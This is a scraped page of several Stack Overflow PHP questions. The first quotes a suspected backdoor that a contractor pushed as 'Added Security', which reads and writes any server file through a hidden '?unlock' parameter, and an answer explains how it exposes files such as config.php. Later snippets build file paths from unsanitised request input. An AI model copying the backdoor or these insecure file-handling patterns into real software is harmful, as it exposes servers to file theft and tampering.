Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 8 years ago.
Improve this question
I'm working on a website and recently picked someone up to work on the PHP portion and I have had suspicions that he may have added malicious code to the site, he pushed a bit of PHP without permission nor without mentioning anything to anyone.
The push was labelled 'Added Security'.
Here's the code:
<?PHP
if(isset($_GET['unlock'])) {
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
$url = './$name?unlock&id='.$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
$text = htmlentities(file_get_contents($file));
echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
die();
}
?>
Thanks in advance.
Let's see, the following
<?php
if(isset($_GET['unlock'])) {
...
}
Means that if you don't send the parameter unlock then nothing would be displayed. Is like a knaive attempt of keeping a secret piece of code that only he can unlock with a magic word.
Regarding what's inside
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id; // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";
If you pass the parameter unlock and id (which is a filename), plus optionally a parameter f (which is a folder) you can see the contents of that file in the textarea. For example
http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
would expose whatever sensitive information you have in your config.php inside the app folder.
Finally, this part
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
Would let you edit or create a file by submitting the form. It might fail due to lack of permissions, but since you can play with the folder, you just insist until you find a writable folder.
Related
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 5 years ago.
Improve this question
I'm building an eCommerce app in Laravel and it requires to save images from various pages like Add product, Add request, Update profile etc. I've defined the image storage location right on the controller files itself for the respective items.
UserController.php
$targetPath = '/Users/apple/Documents/eCommApp/storage/app/public/uploads/' . $user . '/img/profile/';
ProductController.php
$targetPath = '/Users/apple/Documents/eCommApp/storage/app/public/uploads/' . $user . '/img/product/';
My problem is I need to keep updating the image storage location on remote server everytime new codes are committed through git since its different in local and remote servers.
My question is:
Can we create a constants.php inside config/ and then define all paths there only and then include this file in .gitignore so that this file is ignored while pushing the code?
Is it the best (secure, efficient) way to deal with image storage location in Laravel?
Looking for yours advices,
Thank you
PS: Here is the code to save gig image.
if ($request->hasFile('ref_img')) {
if($request->file('ref_img')->isValid()) {
$types = array('_original.', '_150.', '_128.', '_64.', '_32.');
$sizes = array('150', '128', '64', '32');
$targetPath = '/Users/apple/Documents/eCommApp/storage/app/public/uploads/' . $user . '/img/gig/';
try {
$file = $request->file('ref_img');
$ext = $file->getClientOriginalExtension();
if ($gig->img == NULL){
$fName = time();
} else {
$fName = basename($gig->img, ".".$ext);
}
$o_name = $fName . array_shift($types) . $ext;
$original = Image::make($file->getRealPath());
$original->save($targetPath . $o_name);
foreach ($types as $key => $type) {
$newName = $fName . $type . $ext;
$newImg = Image::make($file->getRealPath());
$newImg->resize($sizes[$key], null, function ($constraint) {
$constraint->aspectRatio();
});
$newImg->save($targetPath . $newName);
}
$gig->img = 'storage/uploads/' . $user . '/img/gig/' . $fName . '.' . $ext;
} catch (Illuminate\Filesystem\FileNotFoundException $e) {
}
}
}
Use helpers like public_path():
$targetPath = public_path($user . '/img/profile/');
This helper will generate a full path to public directory in your Laravel project.
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 8 years ago.
Improve this question
I'm creating a file uploader, and it checks to see if a file exists or not in a directory. If it does exist, I must come up with a new name for the file (I.E file.txt -> file1.txt). Not sure why, but it keeps on generating errors. Here's my code. Hopefully it isn't something painfully obvious.
$directory = "files/";
$name = $_FILES['filename']['name'];
$valid_name = true;
$counter = 0;
if(file_exists($directory . $_FILES['filename']['name'])) {
$valid_name = false;
}
while(!$valid_name){
$name = $_FILES['filename']['name'] . $counter;
if(file_exists($directory . $name)){
counter++;
}
}
Your code is wrong. This is much simpler and easier to understand.
$directory = "files/";
$counter = 0;
$name = $_FILES['filename']['name'];
while(file_exists($directory . $name)){
$counter++;
$name = $_FILES['filename']['name'] . $counter;
}
Also your code does not generate file.txt -> file1.txt but file.txt -> file.txt1 so does this one. To generate it properly play with the extension and the name.
You forgot to change the value of $valid_name. Anyway, a simpler way to do that is just:
$directory = "files/";
$counter = "";
while (file_exists($directory . $_FILES['filename']['name'] . $counter)) {
$counter++;
}
// Here the name is: $directory . $_FILES['filename']['name'] . $counter
Consider that after the first time $counter++ is executed, it becomes "1", and then 2, etc...
A smaller code, just for fun:
$c = "";
while (file_exists("files/".$_FILES['filename']['name'].$c)) $c++;
// Here the name is: "files/".$_FILES['filename']['name'].$c
You forgot to name your variable correctly when using it:
$counter++;
// not counter++ but $counter++;
The code has a number of problems, which I'll list followed by a cleanup.
Syntax error: counter is not prefixed with a $ sign
Styling: your code isn't formatted nicely and consequently you'll have a harder time identifying problems.
Logical flow: You're only checking for the existence of a single filename, not others.
You're not handling file extensions.
Try something like this:
$directory = "files/";
$path = pathinfo( $directory . $_FILES['filename']['name'] );
$name = $path['filename'];
$counter = 0;
while ( file_exists( $path['dirname'] . $path['basename'] ) ) {
$counter++;
$path['filename'] = $name . $counter;
}
$outputFile = $path['dirname'] . $path['filename'] . '.' . $path['extension'];
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 8 years ago.
Improve this question
Any idea what's wrong with this?
<h1>IP Logger</h1>
<?php
$file = 'ip/index.php';
$date = date('d/m/y');
$time = date('H:i:s');
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$log = ''. $ip . ' <br>';
$infofileloc = 'ip/' . $ip . '/index.php';
$infofile = 'Nothing here yet!';
$details = json_decode(file_get_contents("http://ipinfo.io/' . $ip . '/json"));
$city = $details->city;
$hostname = $details->hostname;
$region = $details->region;
$country = $details->country;
$loc = $details->loc;
$org = $details->org;
$data = "<h1>". $ip . "</h1><br>Date: " . $date . "<br>Time: " . $time . "<br>Hostname: " . $hostname . "<br>City: " . $city . "<br>Country: " . $country . "<br>Region: " . $region . "<br>Location: " . $loc . "<br>ISP Org: " . $org . "<br>"
echo("Writing IP to log...<br>");
file_put_contents($file, $log);
echo("Done.<br>");
echo("Writing information file to log...<br>");
if (!file_exists('ip/' . $ip)) {
mkdir('ip/'. $ip, 0777, true) or die("ERROR: Unable to create info directory in /ip/!<br>");
}
file_put_contents("ip/" . $ip . "/index.php", $data);
echo("Done.<br>");
echo($ip . "<br>");
?>
<br>
Access Logs
I just get this error:
Parse error: syntax error, unexpected T_ECHO in /home/u142114406/public_html/i/index.php on line 30
Any ideas? :S
I've no idea whats wrong here, I think it is something to do with the last file_put_contents but am unsure.
Thanks,
-Connor
You miss a semicolon at the end of line #28:
$data = "<h1>". $ip . "</h1>"...
This kind of error:
Parse error: syntax error, unexpected T_ECHO.. usually notifies a certain line number, but when it happens you should always look at the line PRIOR to the one you are getting an error on.
Please now consider seeing the Help -> Tour otherwise you're going to be considered off topic.
It has an echo where it isn't expecting one; you forgot the semi-colon at the end of the previous statement.
There is no semi-colon ";" end of line 28
Line with starting => $data = "". $ip . ...
Btw use this class : http://www.phpclasses.org/package/5680-PHP-Get-geographic-location-of-a-given-IP-address.html
or
http://community.sitepoint.com/t/simple-ip-logging-script/4042
My Requirement is as follows:
When user uploads a file i should check for "File already Exists", if file exists i must show confirm box if 'OK' i have to replace and if cancel the reverse.
This is my following code
if (file_exists($path . $documentName)) {
$msg = $documentName . " already exists. ";
?>
<script type="text/javascript">
var res = confirm('File already exists Do you want to replace?');
if (res == false) {
<?php
$msg = 'File Upload cancelled';
?>
} else {
<?php
if (move_uploaded_file($_FILES["document"]["tmp_name"], $path . $documentName)) {
$msg = $documentName . " File Replaced Successfully";
$successURL = $document_path . $documentName;
}
else
$msg = $documentName . "Upload Failed";
?>
}
</script>";
<?
}
My problem is even if i give cancel the file is getting replaced.
just let me know where I'm wrong or Is there any other approach?
Please help me to close this issue
Note:jquery Not allowed.
Your problem is that you mix javascript and PHP. The PHP-Code will be run on the server and generates the HTML-document. At this point, the file gets replaced already.
Then, this document (with the javascript-code inside) will then be send to the user and there the javascript-code is run. And in that moment, the user gets to see the confirmaion-dialog, even though the file already was replaced!
Take a look at the source-code that your php-code is generating and you will see what I mean.
A solution would be to add a checkbox to confirm overwriting files. Then after hitting the upload-/submit-button, your php-script would check if this box was checked and either replace the file or not.
#Gogul, honestly, this is not the right way to go. Better that you handle the file submission with an AJAX request which receives a response back from your server (either uploaded successfully, or file exists) which you handle appropriately. If presenting the user an option to replace the file, again handle that action with AJAX.
You can do AJAX request in raw JavaScript (jQuery not required) - see here: http://www.w3schools.com/ajax/ajax_xmlhttprequest_send.asp
You are mixing server side code with client side javascript. The solving of your problem is more complicated if you don't want the user to reupload the document:
Store the file in a temporary location under random filename. Output a yes/no form to the user, including the random filename and original filename.
If the user answers yes, move from temporary location to $path, else remove the file from temporary location.
Guys i came with with this following solution
upload
uploaddocument.php
$documentName = preg_replace('/[^a-zA-Z0-9.]/s', '_', $_FILES["document"]["name"]);
if (file_exists($path . $documentName)) {
move_uploaded_file($_FILES["document"]["tmp_name"], "F:\\Content\\enews_files\\temp\\" . $documentName);
$msg = $documentName . " already exists. <a href='confirm.php?confirm=1&filename=" . $documentName . "&language=" . $lang . "'>Replace</a>||<a href='confirm.php?confirm=0&filename=" . $documentName . "'>Cancel</a>";
} else {
if (move_uploaded_file($_FILES["document"]["tmp_name"], $path . $documentName)) {
$msg = $documentName . " Upload Success";
$successURL = $document_path . $lang . '/' . $documentName;
}
else
$msg = $documentName . " Upload Failed";
}
confirm.php
include("config_enews.php");
$lang = $_GET['language'];
$path = "F:\\Content\\enews_files\\" . $lang . "\\";
//$path = "D:\\test\\test\\" . $lang . "\\";
$documentName = preg_replace('/[^a-zA-Z0-9.]/s', '_', $_GET["filename"]);
if ($_GET['confirm'] == 1) {
//echo sys_get_temp_dir();die;
if (copy("F:\\Content\\enews_files\\temp\\" . $_GET["filename"], $path . $documentName)) {
unlink("F:\\Content\\enews_files\\temp\\" . $_GET["filename"]);
header("Location: uploaddocument.php?message=success&fname=$documentName&lang=$lang");
} else {
echo $res = move_uploaded_file($_GET["tempname"], $path . $documentName);
echo $msg = $documentName . " Upload Failed";
header("Location: uploaddocument.php?message=failed&fname=$documentName");
}
} else {
unlink("F:\\Content\\enews_files\\temp\\" . $_GET["filename"]);
header("Location: uploaddocument.php?message=cancelled&fname=$documentName");
}
I got this spark from #Marek. If any one has better solution kindly provide.
I don't have enough reputations to vote your answers sorry.
Thank you so much for all your support.
I currently have:
<?php
if (isset($_POST["submitwrite"])) {
$handle = fopen("writetest.txt","w+");
if ($handle) {
fwrite($handle, "Dan"."¬".$_POST["username"]."¬".$_POST["pollname"]."¬".$_POST["ans1"]."¬".$_POST["ans2"]."¬".$_POST["ans3"]."¬".time());
fclose($handle);
}
}
?>
However I need to adjust the filename to be dynamic, instead of 'writetest.txt' I would like it to be: username+pollname+time.txt taking the $_post variables.
I would also like to change the directory these files are stored in to /results.
Help please...
You mean doing something like this?
$filename = '/results/' . $_POST['username'] . '/' . $_POST['pollname'] . '/time.txt';
if (isset($_POST["submitwrite"])) {
$handle = fopen($filename,"w+");
// etc...
Or am I not understanding you?
Edit
To address the issue BalusC pointed out, this is a more complete solution.
It makes sure the $_POST['username'] and $_POST['pollname'] values are valid, so they won't create an invalid or possibly harmful $filename.
<?php
$basedir = '/results';
$basename = 'time.txt';
// Get user and poll names
$username = $_POST['username'];
$pollname = $_POST['pollname'];
// Counteract the old magic_qutoes feature, if needed.
if(get_magic_quotes_gpc()) {
$username = stripslashes($username);
$pollname = stripslashes($pollname);
}
// Validate user and poll names.
$regexp = '/^[\w\d\_\-\. \']+$/iu';
if(!preg_match($regexp, $username) || !preg_match($regexp, $pollname)) {
echo 'Username or pollname is invalid. Aborting!';
}
else {
// Compile the complete file name
$filename = $basedir . '/' . $username . '/' . $pollname . '/' . $basename;
// Write to the file
if (isset($_POST["submitwrite"])) {
$handle = fopen($filename,"w+");
if ($handle) {
fwrite($handle, "Dan"."¬".$_POST["username"]."¬".$_POST["pollname"]."¬".$_POST["ans1"]."¬".$_POST["ans2"]."¬".$_POST["ans3"]."¬".time());
fclose($handle);
}
}
}
?>
fopen creates (at least tries) the file if it does not exist, so
$filename = $username . $pollname . $time . '.txt';
$handle = fopen($filename, 'w+');
will work fine.
By the way, w+ places the pointer at the beginning of the file. If the file already has some data, it will truncate it first. If you want to append data to the file, you may want to use 'a+'